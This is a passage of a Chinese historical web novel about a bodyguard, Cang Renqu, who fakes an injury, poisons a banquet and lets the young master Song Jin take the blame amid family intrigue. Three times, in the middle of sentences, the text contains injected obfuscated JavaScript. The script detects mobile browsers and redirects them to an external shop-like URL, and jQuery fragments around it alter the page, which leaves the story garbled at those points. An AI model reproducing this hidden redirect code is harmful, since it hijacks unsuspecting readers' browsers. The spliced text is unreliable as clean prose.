萧择天回眸一瞥，很快移开目光：“衣服记得穿上，别着凉了。” 侍卫离萧择天较近，只听见他最后一句话，不敢妄言，默默跟其离开。 计划出乎意料地顺利。 苍仁曲心想，萧择天或将成为她日后一大助力。为了佐证这个猜想，她将目光对准了自己的脚踝…… 4. 嫌疑 萧择天脸庞红印未消，返回宴席时，吸引了所有宾客的目光。 他局促坐回席位上，脑袋不自禁浮现苍仁曲在他眼前褪去外衣的情形，脸更红了，忍气吞声扒拉着面前半凉的饭菜，整张脸几乎埋进碗里。 他的一举一动被宋曦看在眼里，宋曦心领神会笑了笑，差侍女去打探苍仁曲情况。 “萧司马似乎心情不太好？”与萧择天并排而坐的宾客关切问候。 此人是交州最大粮商之一——吴任，二人曾因军粮买卖打过交道。 萧择天吃了几口便放下筷子，小声抱怨道：“嗯，这里的菜真够难吃的。” “别因为这点小事影响了食欲嘛。”吴任说笑道。 萧择天无语，巴掌没扇他脸上，他食欲当然好得很。 “那你说，要多大的事情才值得影响我的食欲？” 吴任朝顾岁吟方向望了一眼，说道；“我想，大概是太子殿下将要统领交州军政，他对岛州接下来的部署，说不定关系到萧司马的前程是否能平步青云。你本是去年武举状元，只需抓住一次良机便能一步登天。” 萧择天听出他旁敲侧击，意在探听太子口风，自顾自抿了一口酒，说道：“吴掌柜抬举我了。一战成名固然是武将心之所求，但我并非好高骛远之人，更愿意脚踏实地，而且从殿下的态度来看，他无开战之意，重心仅在于加强沿岸防备。” 吴任扬起眉毛，诧异道：“朝廷将边州巨额军费拨给交州，花费如此大的手笔，竟不是用来打仗的吗？” 萧择天回想起与顾岁吟谈话的内容，重新拿起筷子，漫不经心地拨弄着碟中的菜：“岛州也属于万邦领土，那些所谓的流寇，多半都是交岛两州活不下去的百姓。一旦开战，伤的仍是自家人。若能以和平手段化解争端，何必劳民伤财、大动干戈。” 吴任仍扬着眉毛，望着眼前这位比自己年龄小一轮的人，面露惭愧：“您所言极是，我一介商贾，见识短浅了，能不起战事自然最好，我们这些做生意的人，也才好安心经营。” 萧择天偏头与他对视，笑道：“甚好，难得吴掌柜与我想到一处。交州沿岸田贫粮少，粮价奇高，多少百姓因买不起粮只得逃往岛州沦为流寇，如果粮价有所放宽，这样安定民生，也能减轻兵事压力，往后吴掌柜的生意会更加顺畅。” 二人沉默相视。 片刻后，吴任微笑道：“受教了。” 萧择天环视四周，宾客礼尚往来，一派祥和。 顾岁吟与宋德交谈甚欢，侍女探完情况对宋曦耳语。宋曦闻言震惊，在顾岁吟的注目之下起身，直向萧择天走去。 萧择天察觉周遭目光聚集于身，一扭头，当即起身行礼：“宋曦小姐。” 宋曦娇声调侃道：“萧司马，我的保镖如何触怒你了？她现在连床都下不了。” 萧择天：“？” 侍卫在一旁目瞪口呆，自家大人竟如此勇猛！ 萧择天不明所以：“她咋了？” “你都给人家脚弄折了，没有十天半月，她恐怕难以下地行走。” “？？？” 萧择天同样目瞪口呆，自己有何能耐折了苍仁曲的脚？ 这口黑锅砸得他气极反笑，思索一瞬，还是选择替她开脱：“对不住，瞧见她有几分身手，过了几招，一时没把握好力度，下手重了些。” 宋曦捉摸不透他脸上笑意，问道：“阿曲既然也来自萧武署，萧司马不妨点评一下她的实力如何？” 萧择天嗤之以鼻：“也就那样，不过做曦小姐的保镖绰绰有余了。” 宋曦之身凑近他，压低了声音：“仅此而已？昨日我亲眼见证阿曲打败了家弟的武学师父。萧武署派如此厉害的人做我保镖，是否屈才了些？” “屈才？萧武署人均实力罢了。依我之见，谨公子的武学老师是该换一换了，否则去年武举也不至于仅列第十。” “萧司马口气真大，倒挺有趣，哈哈哈哈。” 宋曦开朗的笑声引起来岁吟的注意，目光转向二人，被萧择天精准捕捉。 二人视线只相交一刹那，萧择天心中了然。这位宋家大小姐主动找他搭话，原来另有所图。 他当即结束话题，以公务繁忙为由告退，离开了宴席。 不出所料，没过一会儿，宋便德派人召宋曦回席，自己则离席应酬宾客，为顾岁吟与宋曦腾出独处空间。 明月高悬，宴席渐散。 苍仁曲悠然躺在屋里休息，一直等到小诗回来，始终无事发生。 她先前故意将砸伤自己的脚，嫁祸给萧择天，再让侍女向宋曦传话，假意求一个公道。 现下她相安无事，看来当时萧择天并没有揭穿她的算计。这也也佐证了她的猜想——萧择天应当与她同站一个立场。 小诗手里拿着三只小瓷瓶，放在苍仁曲床边：“阿曲，这是小姐特意吩咐我从医馆取的伤药。白瓷小瓶是千金定痛散，每日清晨外敷一次；深色瓶中是泽兰活血丹，中午口服一粒；白瓷大瓶乃生肌玉红膏，每晚涂抹一回。总共是一周的用量，用完的话你可自行去医馆再补。” 苍仁曲小心翼翼接过三瓶药。这些全是她只在书里见过的名药，连她常年镇守边州的母亲，唯有在朝廷特发抚恤之时用过几回。 宋府真是阔气，连一个刚进来的保镖都能享用到价值不菲的药物。 “谢谢小诗。我自己来吧。小姐人真好，对我这样一个新人也如此照拂。” 此话让小诗十分高兴：“那是自然。小姐人美心善，对每个人都一样好。府中无人不尊敬她，挤破头都想为她做事。” 苍仁曲附和道：“看来能成为小姐的保镖，是我的荣幸了。” 其实苍仁曲只扭伤了脚踝，没有骨折，谎称骨折为了能有多余灵活的工夫探查宋府具体情况。 之前家中的一个侍从以同样的借口偷懒，让苍仁曲一人老实包揽了半月家务，后来兄长请了医生上门诊治，拆穿了侍从的诡计，也因此总拿这个事情笑话她。 苍仁曲倒不担心医生上门“突袭”，毕竟今夜宋家人都吃了腹罗烟熏过的食物，将饱受三天身体酸疼之苦，即日起医生忙的焦头烂额，肯定无暇顾及自己。 次日，晨鸡未鸣。 守夜侍女急促的敲门声惊醒沉睡的二人，声称宋曦身体不适，疼得下不来床。 小诗闻言，急匆匆下床洗漱，穿着得体地去伺候宋曦。 苍仁曲起床为自己的脚踝上药，屋外动静声越来越大，日光熹微，终于有医生赶上门来为宋曦诊治。 中午，苍仁曲与侍女们一起用饭，从她们口中得知，宋德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103023|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也身体抱恙休养在府，症状与宋曦一模一样，唯独宋谨一人无恙。 一名侍女心疼道：“小姐近来酸疼的毛病犯得越来越勤了，医生还是诊不出来。” “小姐的身体向来不好吗？”苍仁曲疑惑。 一名从小跟着宋曦的侍女解释道：“倒也不是。自从老爷接谨公子入府之后，小姐每次与他闹矛盾，气得几天浑身酸疼，后来她的身子骨愈发柔弱，到现在已经无法习武了。” 苍仁曲心头一颤，不自觉停下筷子：“小姐每次犯病都像今天这样吗？” 侍女语气忿忿不平：“是啊。小姐和我们都认为，谨公子命里克她才这样的。” “……小姐真可怜。”苍仁曲道出心里话。 “可怜？”宋谨顿住脚步，朝侍从投去一个失望眼神，“阿奇，自打你入府跟了我，从未说过我多么可怜，反倒格外心疼阿姐。” 不久前宋谨探望了一番宋德，刚出来不久，阿奇便提议他再去探望宋曦，招来一顿冷嘲。 “公子，可她毕竟是长姐……”阿奇支支吾吾。 “我过去遭人白眼吗？”宋谨剜了他一眼。 “呃……”阿奇被他的眼神吓退。 途径花园，宋谨眼尖，目光扫到一片残破的腹罗草。 他蹲下查看，几株腹罗草倒伏在地，草叶东倒西歪，根须裸露，泥土狼藉，似是被人怀着极深的怨气狠狠蹂躏过。 原来这里是她作案的第一现场。 灭门仇人近在眼前却无力复仇，只能跑来这里拔草泄愤。 宋谨联想到那个荒诞搞笑的场面，冷笑一声，心情莫名舒坦许多。 “罢了。阿奇，替我去问候一下她吧。”宋谨将死亡的腹罗草连根拔起，随手扔在地上。 “是！”阿奇兴致冲冲朝宋曦院落奔去。 昨日宴席不止宋家遭殃，所有来赴宴的宾客包括顾岁吟都出现身体不适的情况。 过于巧合的迹象无疑表明着，有人在席上下毒。 消息一经传开，不日便在秀止引发轩然大波。登门宋府之人络绎不绝，太子更是严令宋德必须彻查此事。 宋德亦卧病在床，实在力不从心，于是吩咐宋谨代为主持，彻查府中上下一切可疑之人。 除了这三天内宋曦与宋德身边的人以外，宋谨审问了府中所有可疑之人，没有结果。 接下来，宋曦首先将目光对准宋曦。 在宋府，光伺候宋曦起居的侍从多达十余人，侍从数量仅次于宋德。宋谨问得仔细，从早查到晚，轮到苍仁曲时，已经过了晚膳时分。 “阿曲，谨公子请你去他那里一趟。”小诗被问话回来，苍仁曲刚好涂抹完生肌玉红膏，正要穿鞋下地。她帮助苍仁曲站稳身形，“谨公子回书房用膳了，书房路远，要不要我扶你过去？” 苍仁曲轻轻拍着小诗的手，劝她安心：“不必担心，以前我腿折了隔日照样能爬树，这点小伤不算事。小诗，你还没用饭，桌上的食物是我特地给你带回来的，再不吃就凉了。” 小诗很感动，搀扶苍仁曲行至门口：“夜路难行，阿曲别太勉强自己。对了，谨公子身边的阿奇与我们关系极好，他要看到你手上，一定对你多加关照的。” “多谢小诗提醒，我去了。”苍仁曲一瘸一拐地大步离开。 5. 嫁祸 宋曦的别院位于宋府东南角，到东院书房有百余步距离，中间横亘一处偌大花园。 苍仁曲虽腿脚不利索，手臂力量不容小觑。她身形高挑，单脚一跃，双手抓住树干，向前跃出丈米之远，随即单脚平稳落地。 她从小便爱这么玩，即使很多次不小心摔折了腿，被家人絮絮叨叨，但正是这个冷僻的喜好，阴差阳错地成就她日后非凡的轻功。 不过宋府树木太少，且树干多细枝娇弱，经不起折腾，苍仁曲只荡了几个回合，遥见书院只剩五十步距离，跃身下地，拖着伤腿蹒跚前行。 二进书院，书房依旧亮着灯。 这次苍仁曲小心观察地面，生怕再踩到地上的书。 她想不明白为何宋谨喜欢在书院乱扔书本，让这些书白天晒太阳的理由实在蹩脚，难道真的为了防止夜猫子闯入吗？ “怎么才来？”突如其来的男声吓得苍仁曲心头一跳。 她循声望去，宋谨伫立在曲水亭下，月色倾洒，为他半边白袍镀上一层银辉。苍仁曲同样一袭白衣，二人如同两道银月互相遥望彼此。 苍仁曲沉迷研究地上的书，竟一时疏忽曲水亭明晃晃站着个人。 “抱歉，谨公子。我腿脚不便，走路慢了些。” 她弯身鞠了一躬，正要往曲水亭走，宋谨先行从曲水亭出来，面色毫无波澜，客套地问候一句：“伤势如何？” “脚折了，得休息十天半个月。” “嗯。”宋谨向下扫了一眼，便回身慢步走向书房，“随我进来。” 阿奇先一步为宋谨开门，宋谨跨入书房，对他说道：“阿奇，你在外面侯着。” “是，公子。” 苍仁曲颇为吃力地登上台阶，阿奇扶了她一把，护送到门边，悄悄对她说道：“公子这会儿发脾气了，进去说话的时候注意一点。” 苍仁曲点头：“多谢提醒。” 阿奇关上了门。 苍仁曲暗暗打量四周。书房室内宽敞整洁，炉烟袅袅，格调简雅，两排书架立于书案两侧，架上书籍并未填满，空余大半。 “脚折了，怎么不叫个人路上陪着你？”宋谨坐靠在书案边，关心仍挂嘴上。 苍仁曲疑惑，他不是在发脾气吗？ “有劳公子挂心，小伤而已，我可以自理。” 宋谨面不改色，突然问道：“那么在你看来，是不是没人看管，便能在此为所欲为？” 苍仁曲一脸无辜：“谨公子，此话何意？” “有人声称，你在宴席当日看到过后厨为阿姐取用水果，可她的贴身侍女却言，阿姊从未有过如此吩咐。这是怎么一回事？” “我......”苍仁曲支支吾吾。 “你当时去后厨做什么？”宋谨质问道。 苍仁曲闻言色变：“对不起公子，我当时太饿了，想去厨房偷拿几个果子吃，这......不犯事吧？” 宋谨语气一松，出言宽慰：“几个果子而已，宋府才不计较。何况你初来乍到，不懂规矩实属正常。” 苍仁曲松了口气，他却话锋一转：“只是，这个案子太子盯得紧，家父也在不断施压，令我着实难办。眼下这情形，我总得给他们一个交代。” “？”苍仁曲有种不祥的预感。 宋谨铺垫完前奏，直接开门见山：“你自称去后厨只为果腹，但我未亲眼见证，不知真假。我只敢揣测，萧武署特地安排你进入宋府，一个名不见经传的人物，竟能打败我的武学师父，实力深不可测，若在宴席上下毒，不无可能。” 苍仁曲震惊，这人有毛病吧？因为打败他的师父耿耿于怀而出此下策？ 况且那日明明是他的师父故意放水，他这做徒弟的难道察觉不出来吗？ 可见他心肠堪比雏鸡，狭隘无比！ 无奈权势当头，苍仁曲不得不低人一等，刻意表现得惊慌失措，求助道：“谨公子，我并非有意与您作对！此事与萧武署无关！请不要把我交代上去！您让我做什么都可以！” 宋谨眼神微动，语气平平：“你走过来。” 苍仁曲依言，举步维艰慢慢靠近，隔着书案站定在他面前。 宋谨扯住她一角衣袂，拇指摩挲上面的衣纹，轻言道：“既然你都这么说了，我最近想换一个侍从，最好是身手不错之人。你愿意舍弃阿姊的锦衣玉食，追随我吗？” 苍仁曲敏锐捕捉其言中关键：“换？” 长夜漫漫，阿奇在门口枯坐良久，忍不住打了个盹，不知公子审问了些什么，阿曲一更进去，现下夜过二更，里面仍无动静。 他只手撑脸撑酸了，换另一只手继续瞌睡，如此往复四五回。终于，门开了。 他回头，苍仁曲与宋谨一前一后走了出来。 看来宋谨也准备休息了。 阿奇对苍仁曲小声说道：“阿曲，你腿脚不便，待会儿我扶你回去吧。” 苍仁曲见阿奇睡眼惺忪，不忍心再劳烦他，恰巧他的话被宋谨听见，回绝道：“不用。阿奇，你早点回去休息吧。我送她回去。” “哦......啊？”阿奇不敢置信自己听到了什么。 苍仁曲更不想让宋谨送自己回去：“谨公子，大可不……” “走吧。”宋谨打断她，伸出胳膊，根本不给她拒绝的机会。 苍仁曲难为情地攀住他手臂，背地里与阿奇交换眼神，彼此目光充满了困惑。 最后，二人在阿奇的目送下离开书院。 苍仁曲失去自由，不得不真伪装成骨折，以防身边的宋谨发现破绽。 宋谨甚至放慢脚步迁就她，回去的路途像漫长的凌迟，让她演得十分难受。 就这样，两人慢吞吞行至花园。 她演得累，挽着他的胳膊，特别想狠狠掐一把，可碍于主仆身份，她只收了收指尖，强忍住了这份冲动。 细微的举动立刻引起宋谨察觉，他转头看向苍仁曲。 “怎么了？公子？”苍仁曲莫名心虚。 “瞧你脸色不太好，先休息一下吧。”他说完最后一个字，尾音轻扬，似乎很享受这个过程。 苍仁曲靠坐在假石上，望见宋谨驻足的背影，忍不住问道：“谨公子不让阿奇送我回去，是担心我向阿奇泄密吗？” 宋谨仍然背对着她：“你似乎始终对我心存戒备。同样是送你回去，你更愿意信任没有多少交集的阿奇。方才我们在里面说了那么多话，我原以为你敞开心扉认定未来的新主。” 苍仁曲理直气壮辩驳道：“谨公子多虑了，其实我当时打算婉拒阿奇，没来得及开口，便让你打断了。至于信任，您之前不信我到后厨只为果腹之事，无凭无据断定我是下毒凶手，以莫须有的罪名逼我归顺，如此做派，让我如何打心底信服您？” 宋谨转身，朝她慢步走近，平常毫无波澜的脸庞，此刻浮现一抹意味不明的笑容。 苍仁曲毛骨悚然：“抱歉公子，我头脑一热失了分寸。” 话音刚落，宋谨已经走到她身前，挡住她头顶的月光。苍仁曲欲站起身，肩头被他按住。 “这次是我思虑不周，阿曲。”宋谨低下头，注视着她的双目，一字一句珍重道，“只要你肯全心全意为我做事，我定然不会亏待你。” 苍仁曲全当耳旁风，只一味点头：“是，公子。” 宋谨的微笑顷刻消散，伸出胳膊：“起来，继续走吧。” 苍仁曲双手抓住胳膊，起身之余，趁机掐了他一把。 宋谨闷哼一声，却没有计较：“手挺有劲。” “过奖。”苍仁曲暗爽，心情好多了。 其余路程，二人再无交流。 宋谨的别院位于宋府西南角，行至岔路，离宋曦的别院还剩十余步，二人作别，宋谨目送苍仁曲自行回去。 苍仁曲回屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103024|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为时已晚，所幸今晚小诗值夜，屋里没有任何人。她拿出一只香包，藏在小诗床头的被褥底下。 这只香包为萧教头所赠，有安神镇梦的效用，苍仁曲此前每晚枕着睡觉，逐渐摆脱了梦魇。 自家中生变，苍仁曲几乎每晚噩梦连连，梦里无一例外是她见证家门抄斩的场面，正因没有亲眼所见，抄斩场面从不重样，次次如新，愈发狰狞。 自入了萧武署，她不想噩梦缠身，索性很少睡觉，经常彻夜练武直至天明，只用了大半年时间，已经打遍萧武署所有弟子，无人是她对手。 苍仁曲躺回床上，闻着指尖残存的香味入睡。 一夜无梦。 明明昨夜苍仁曲与宋谨回来的路上没有任何人经过。今早小诗回屋，却知晓了此事。 “阿曲，昨晚真的是谨公子亲自送你回来的吗？” “没错。” 苍仁曲好奇小诗为何消息如此灵通，而小诗也好奇她与宋谨夜路同行的细节。彼此心照不宣，打算一起用早饭的时候再互相八卦，可就在结伴同行的路上，苍仁曲突然被一位侍女叫住。 “阿曲，小姐让你过去一趟。” “好。” 苍仁曲胳膊一紧，小诗轻轻拽了她一下，小声提醒道：“谨言慎行，尽量别向着谨公子。” 小诗眼神微妙，苍仁曲懵懂应道：“好。” 侍女趾高气昂，在前头领路，行步匆匆。 苍仁曲腿脚不便，为了跟上她，只得单脚跳跃紧随，落地声声闷响，途中侍女回眸瞥了一眼，非但没有放缓脚步，反而加快几分，与她拉远距离。 苍仁曲：“……” 幸好宋曦屋子离的不远，苍仁曲接连跃过十余块青砖，安然无恙地抵达门前。 宋曦的房间花香四溢，光线通透，珠帘玉幕金光闪闪，满室陈设皆是当下最奢华的样式，贵气逼人。 宋曦身子已然痊愈，独自享用早膳，两名侍女服侍左右，一人盛食，一人摇扇，另有两名侍女在卧房为她准备今日要穿的三套着装，窗台边的侍女正在修花，茶案边的侍女在认真沏茶。 “你来啦，阿曲。”宋曦笑脸相迎。 “小姐唤我何事？” 宋曦并未理会，恰好侍女将温好的粥放在她面前，她执起玉勺，在粥里舀了又舀，终于舀起一勺，慢慢抿了一口，这才抬眼看向苍仁曲：“昨晚阿谨都问了你什么？” 苍仁曲老实回答：“谨公子问了我宴席当天都做了什么，还有……问了我与萧武署之间的事情。” “他昨晚为何亲自送你回来？”宋曦追问道。 “小姐…我不知道该不该说……”苍仁曲吞吞吐吐。 宋曦身旁摇扇的侍女训斥道：“快说！不赶紧交代清楚，你吃不了兜着走！” 宋曦纵容侍女的脾气，无动于衷，若无其事般喝了几口粥。 苍仁曲畏畏缩缩交代道：“谨公子见我是新人，尚有几分身手，便有意拉拢我，因为他大抵确认了凶手……” 宋曦当即打断，抢问道：“凶手是谁？” 苍仁曲摇摇头：“他没有说，只透露了这个人……这个人来自小姐的别院。” “什么？！”宋曦大吃一惊，玉勺脱手而出，砸进碗里。 摇扇的侍女厉声道：“你敢发誓，此话属实？” 苍仁曲眼神坚定，对天发誓：“我敢发誓，句句属实。” 宋曦强颜欢笑：“阿曲，那你觉得待在我这里好，还是想去阿谨那边？” “小姐，我入府虽晚，您是对我最好的人。我绝对不会背叛您。”苍仁曲言辞诚恳。 宋曦满意点点头：“好阿曲，你先回去休息吧，记得叫个医生给你看看脚的伤势。” “是，小姐。” 待苍仁曲离开之后，宋曦对身旁摇扇的侍女命令道：“小芸，去把阿奇叫过来。” “是。” 6. 遇袭 青天白日，风朗气清。 书院内，宋谨亲自收拾“晒”在地上的书。 五步拾一本，当他捡起最后一本书，泛起疑惑，又重新清点一遍书籍数目。 只有二十本，少了一本。 虽然并非第一次出现这种情况。 宋谨记得，此前有几个不懂事的侍从偷窃地面的书，拿去市场倒卖，被他发现之后，报官究办，让几个人终生不得参加文试武举。 至此以后，府上所有人引以为戒，没有他的允许，谁也不敢轻易擅动书院的书。 这一次，究竟是不长教训的老人，还是不懂规矩的新人？ “阿奇。” 无人回应。 宋谨又唤了几声，阿奇始终没有出现。 书院清冷，再无他人。他无奈叹了口气，只得分批将这二十本书抬入书房。书架大半空余，他将这些书籍分门别类一一归置，待他放到第十本的时候时，一名侍从走进书房，却不是阿奇。 “谨公子，老爷今日提前回府，他让您前去中堂等候。” “我知道了。”宋谨应了一声，并未停止归整书籍的活头。 侍从默默离开书房。 宋德因休病三天的缘故，案头公务堆积如山，近一周在秀止府忙得焦头烂额。宋谨推测，今日父亲提前回府，估计迫于太子压力，急需让他给那边一个交代。 眼看差不多时候，只剩下三本书，宋谨打算回来再放置。又一名侍从走进书房，这次阿奇回来了。 “公子，您怎么还在这里？”他焦急忙慌道。 “我正要离开。”宋谨淡淡看了他一眼，“阿奇，你方才去哪了？” 阿奇交代道：“我在路上听说老爷要公子去中堂，原以为您早已抵达，我到了那里未不见人影，这才回来找您。” 宋谨并未追究自己在书院捡拾书本之时，他也不在的情况，直接掠过他走出书房：“走吧。” 中堂。 宋谨落座未久，外头起了热闹。宋曦与宋德有说有笑，相伴步入中堂。宋德神色愉悦，端坐主位，宋曦与宋谨东西对坐，一派祥和。 宋德收敛笑容，一本正经问道：“谨儿，我让你调查宴席下毒一事，有结果了吗？” 宋谨点了点头，胸有成竹道：“回父亲，我已经审问了府中所有可疑之人，心中已然断定凶手。” 宋德正要开口，宋曦突然打岔道：“阿谨，你自己的人查过了吗？正好父亲也在，不如把他们叫来一同审审，这样大家也都心服口服。” 宋谨眉头微皱：“阿姊这是……不相信我？” 宋曦笑容亲和：“怎么会？阿谨，我相信你为人刚正不阿，只是问几句话的而已，对你而言不过走个过场罢了” 宋谨眼神求助于宋德，反观宋德默不作声，缓缓阖眼一瞬，算是默许了宋曦的提议。 宋谨收回目光，无奈妥协：“阿姊要怎么审？太子那边估计催得紧，恐怕没有那么多时间。” 宋曦故作思考：“当日宴上，阿谨身侧只有阿奇随侍在旁……既然如此，那便只传阿奇一人问话好了。” 项庄舞剑，意在沛公。 宋谨一个眼神，阿奇便一言不发走到宋曦跟前，神色紧张。 宋曦笑容依旧，缓声道：“阿奇，你简单说一说宴席当天都做了什么？看到了什么？或是发现了什么？” 阿奇如实交代自己在宴席当天的动向，俱是随侍宋谨的细枝末节，间接将宋谨当日动向勾勒得清清楚楚。 宋曦似乎听见什么关键，朝宋谨投来一个微妙的眼神：“父亲命你去书房，阿谨，你怎会往厨房去？这两处，分明是相反的方向。” 矛头忽然对准宋谨，他从容不迫回应道：“我发觉后厨着火，担心耽搁上席，去看看情况。” “厨房与正堂相隔两重院落，何等火势，竟让阿谨一出去便有所察觉？”宋曦怀揣疑惑，转而向阿奇核实情况，“阿奇，你随公子出去之时，可曾闻到烟火气味？” 阿奇犹豫一会儿，坦言道：“没有......我与公子赶至厨房的时候，火已经灭了，听后厨的成姨说，只是柴火烧得旺，险些烧着灶上的菜。” “如此说来，阿谨是特意往后厨那边跑？”宋曦刻意咬住“特意”二字，不免引起宋德的注意。 宋德不假思索：“谨儿，你去后厨到底做什么？” 宋谨隐忍不满，义正言辞道：“我未行任何不当之举，后厨众人皆可作证。” “阿奇，阿谨所言属实？”宋曦再次看向阿奇。 面对施压，阿奇哆哆嗦嗦，说话声音越来越小：“后厨当时到处都是烟，我并未看清公子做了什么……” 宋德袖袍一甩，面色沉郁将手按在膝上，不耐地沉出一口气：“罢了，此事稍后再议。谨儿，你说说看，你查到的下毒之人是谁？” 宋谨如实说道：“据可靠线索，是阿姊院里的人动的手脚。” “谨儿。”宋德立刻打断他，声色俱厉，“这话不能乱说。莫非因曦儿方才质疑你，你借此反诬于她？” 宋谨不甘示弱，硬声回应：“父亲，我绝无此意。” 宋曦见状，柔声卖起可怜：“是啊，阿谨，你知道的。父亲在宴上特意为我引见太子，若真是我院中之人所为，岂不是也要把父亲扯进去……” 宋谨毫不领情，正面硬刚：“阿姊，此事既由我来负责，无论涉及何人、来自哪里，都须查个水落石出。” 宋德立马接话，语重心长：“谨儿，你还不明白曦儿的良苦用心吗？曦儿这是在为家族考量！此事若牵连至她，太子将如何看她？她的前程岂不毁于一旦！” 宋谨冷嗤一声：“父亲，方才阿姊对我无理取闹的时候，您何曾顾及家族颜面？顾虑过我的前程？” 宋曦一触就恼，驳道：“无理取闹？我明明在在有理有据地就事论事！” 宋谨愠怒，语气冰冷：“我也在就事论事。” “好了，都冷静一点。”宋德抬手搓了搓眉头，待两姐弟互不顺眼不再作声，对宋谨和声和气商讨，“谨儿，既然你已经笃定凶手是谁，就想办法撇清她和宋家的关系。倘若做不到，我便另寻他人。” 宋谨对他失望透顶，冷嘲道：“既然凶手是谁无关紧要。父亲可直接在太子面前随意指认一位对头了事，何必让我大费周章调查一番？为父者不清不正，恕儿子不敢同流合污。” 此话一出，满堂愕然，除宋谨以外，所有人大气不敢喘一下。 “宋谨！”宋德怒颜狰狞，瞠目直呼其名， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103025|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大逆不道的东西！给我滚回房间禁闭思过！” 宋谨霎时起身，一言不发且头也不回地愤愤离去。 宋德余怒未消，宋曦在一旁安慰道：“父亲消消气，阿谨年纪尚轻，锐气正盛，不懂人情世故实属情理之中。” “自家人他都不护，能指望他出去混出什么名堂？不争气的东西……” “老爷——！” 堂外传来一声急呼，一名侍从疾步匆匆，面色焦灼，脚步未跨门槛，声音已经响彻中堂。 “大事不好！太子遇袭了！” 日薄西山。 饭后，苍仁曲从医生那里换了新的伤药，也给自己备了应急。脚伤几近痊愈，行走自如，但有人的时候她还是会刻意伪装。 回去的路上，一群全副武装的卫兵从她身边经过。玄色鳞甲闪烁寒光，胸甲雕刻着醒目的红色龙纹，盛势凌人。 她曾在容州见过这身装束，对此颇具印象——他们是左右卫率府的旅贲军，属于太子的武力军卫。 让她感到困惑的是，在一般情况下，太子不会轻易动兵，而旅贲军大张旗鼓地进府，若单单为了缉拿下毒凶手，实在是大材小用。 苍仁曲不禁加快脚步，回到别院时，宋曦已在屋里进用晚膳，而院里的气氛不同寻常，侍女们三五成群偷闲聚在一处，面色凝重地窃窃私语。 她上前加入群聊，问道：“我方才目睹有好多士兵进府，出了什么事吗？” 正巧，侍女们也在聊此事。一名侍女透露道：“听说有人行刺太子！刺客逃进了宋府地界，太子正派人入府搜查呢！” 有侍女面色忧虑：“先是有人在宴席上下毒，接着有刺客袭击太子，还偏偏逃进了府里！这分明就是冲着宋府来的！” “对了，下毒的凶手抓到了吗？”苍仁曲追问道。 “嘘，这可不兴说。”知情的侍女压低声音，引起大家纷纷侧耳凝神，“谨公子当时意图栽赃小姐，结果倒打一耙，他自己的嫌疑反而最大，后来他更是顶撞老爷，老爷一怒之下，将他关了禁闭，眼下这事还没个定论呢。” 侍女们愕然，议论声此起彼伏。 “居然是谨公子？”“怎么会是他？”“太可怕了。”“……” “谨公子为何要诬陷小姐？” “嫉妒吧，老爷一心想让小姐将来做太子妃，若小姐以后飞黄腾达，定不给谨公子好果子吃。” “谨公子这心胸……若下毒之罪牵连小姐，波及到宋家，那可是杀头的大罪啊……” 苍仁曲不太理解：“如果是谨公子命人下的毒，同样祸及整个宋家，与小姐有何不同吗？” 空气沉寂。 此话似乎惹了众怒，周遭猜忌的目光扑面而来，打量苍仁曲，她尽管仍不理解，还是识相地闭上嘴巴。 一名侍女好心解围道：“阿曲还是新人，很多事情她还不知道。” 另有一名侍女解释道：“阿曲，我们之所以尊称他一声公子，是因为他去年拿到了文试武举的名次，尽管如此，他也不可能与小姐相提并论。” “就是，一个私生子，就算披上凤袍，打根里仍然是一只低贱的麻雀。” 很快，一个人的到来，瞬间转移侍女们的注意力，引起她们更为激烈的窃语。 7. 广厦楼 来者不是别人，正是阿奇，与之同行的还有侍女小芸。 尽管他素日与大家交好，但这个节骨眼下出现在此，难免不合时宜。 面对大家微妙的斥意，小芸替阿奇解释道：“你们别紧张，今日多亏阿奇挺身而出为小姐说话，不然小姐的清白要被谨公子毁于一旦了。” 有侍女好奇道：“阿奇，你帮了小姐，谨公子没有怪罪于你吗？” 阿奇闻言，神色黯淡：“公子生了大气，将我赶了出来，再不允我随侍左右。小姐预料到他会这么做，便提前让小芸招我过来。 “没错，以后阿奇就是自己人了。”小芸郑重宣布。 “自己人”三个字一出，侍女们惊喜大过警惕，十分坦然地接受阿奇的到来。 苍仁曲心中了然，那夜在书房里，宋谨向她坦言阿奇如何变了心偏袒宋曦，如何形容自己孤立无援的处境，试图拉拢她过来。 说实话，苍仁曲当时心底没多大触动，可现下倒是一切如宋谨所言，不仅阿奇背叛了他，他还替她背负了下毒的嫌疑，被关了禁闭。 本能的良心让苍仁曲无由生起一丝惭愧和心疼。 “能服侍小姐是我的荣幸。以后请大家多多关照。”阿奇感激不尽，朝各位行礼。 